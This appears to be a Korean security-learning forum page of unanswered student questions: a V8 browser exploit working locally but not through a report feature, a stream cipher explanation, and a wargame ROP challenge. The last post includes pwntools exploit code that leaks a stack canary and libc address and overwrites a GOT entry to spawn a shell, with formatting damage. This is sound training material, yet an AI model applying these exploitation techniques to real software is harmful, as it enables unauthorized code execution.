답변을 기다리는 질문들
로되리안;;

v8만 빌드해서 로컬에서 익스는 성공했습니다. reverse shellcode까지 잘 동작합니다. 근데 제가 backing store의 offset을 그냥 고정적인 오프셋 구하고 oob로 바로 덮어서 그런지는 모르겠지만 익스가 확률적으로 동작하긴 합니다. 그래도 꽤 높은 확률이더라고요. 근데 report기능으로 익스를 실행하고 주소 찍히는거 보면 rwx page까지는 잘 구해지지만 backing store은 여전히 확률적이긴 합니다. 그래도 제대로된 주소로 보이는 주소가 나올때도 꽤 많았는데 여전히 쉘코드가 실행이 안됩니다.. 뭔가 이상하게 적은것같은데 요약하자면 로컬에서 빌드한 v8에선 높은 확률로 익스가 성공하지만 취약한 크롬에서 돌아가는 사이트를 Dockerfile대로 로컬에서 구축해서 report기능으로 익스를 해보면 잘 안됩니다... 이유가 뭘까요...

2022.01.07. 10:24

스트림암호 설명 중간 부분이 이해가 안갑니다.

만약 송신자와 수신자가 평문 길이 만큼의 스트림을 매번 공유할 수 있다면, 스트림을 모르는 공격자는 암호문을 복호화할 수 없습니다. 하지만 평문과 같은 길이의 스트림을 안전하게 공유할 수 있다면, 스트림을 공유하는 채널로 평문을 공유하면 되므로 암호화가 필요하지 않은 환경임을 의미합니다. 이게 무슨 말인지 이해가 안갑니다. 그러면 원래는 스트림을 보내는 공간이 작기 때문에 스트림을 평문 길이만큼 공유하기 힘들다는 뜻인가요?

rdx가 0x00이 되어 read함수가 작동하지 않습니다.

정답 코드대로 해봐도 ret에 주입한 read 함수가 작동하지 않습니다. gdb로 따라가보니 read 실행 전 rdx가 put 코드 내에서 0x00이 되어 작동하지 않는 것으로 보이는데... 강의 내용대로 libc 안의 pop rdx ; ret 가젯이나 strncmp를 쓰려고 해도, 두번째 입력하는 payload로 libc base 주소를 알아야 사용할 수 있을 것 같습니다. 추가 payload에 main함수를 넣어서 main으로 돌아갈 수 있었고, 다시 입력하는 payload에는 puts 함수를 빼고 바로 read함수를 넣으니 rdx가 0x100이라 read함수는 작동을 하였습니다. 그리고 system 함수 전에 ret gadget을 넣어 stack을 정렬하니 local에서는 작동하였습니다. 하지만 원격으로는 여전히 안되네요. libc-database로 libc 버전을 찾아 수정해보고, 강의에 나온 read, system의 주소로 offset을 구해서도 해봤지만 여전히 되지 않습니다. 제 코드입니다. from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) p = process("./rop") e = ELF("./rop") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") Leak canary buf = b"A"*0x39 p.sendafter("Buf: ", buf) p.recvuntil(buf) cnry = u64(b"\x00"+p.recvn(7)) slog("first canary", cnry) [2] Exploit read_plt = e.plt['read'] read_got = e.got['read'] puts_plt = e.plt['puts'] puts_got = e.got['puts'] main = e.symbols['main'] ret = 0x000000000040055e pop_rdi = 0x00000000004007f3 poprsir15 = 0x00000000004007f1 payload = b"A"0x38 + p64(cnry) + b"B"0x8 puts(read_got) payload += p64(poprdi) + p64(readgot) payload += p64(puts_plt) ret to main payload += p64(main) p.sendafter("Buf: ", payload) read = u64(p.recvn(6)+b"\x00"*2) lb = read - libc.symbols["read"] system = lb + libc.symbols["system"] slog("read", read) slog("libc base", lb) slog("system", system) 다시 canary 받아 비교하기 p.sendafter("Buf: ", buf) p.recvuntil(buf) cnry = u64(b"\x00"+p.recvn(7)) slog("Second canary", cnry) payload = b"A"0x38 + p64(cnry) + b"B"0x8 payload += p64(pop_rdi) + p64(0) payload += p64(poprsir15) + p64(read_got) + p64(0) payload += p64(read_plt) read("/bin/sh") == system("/bin/sh") payload += p64(ret) payload += p64(pop_rdi) payload += p64(read_got+0x8) payload += p64(read_plt) p.sendafter("Buf: ", payload) p.send(p64(system)+b"/bin/sh\x00") p.interactive()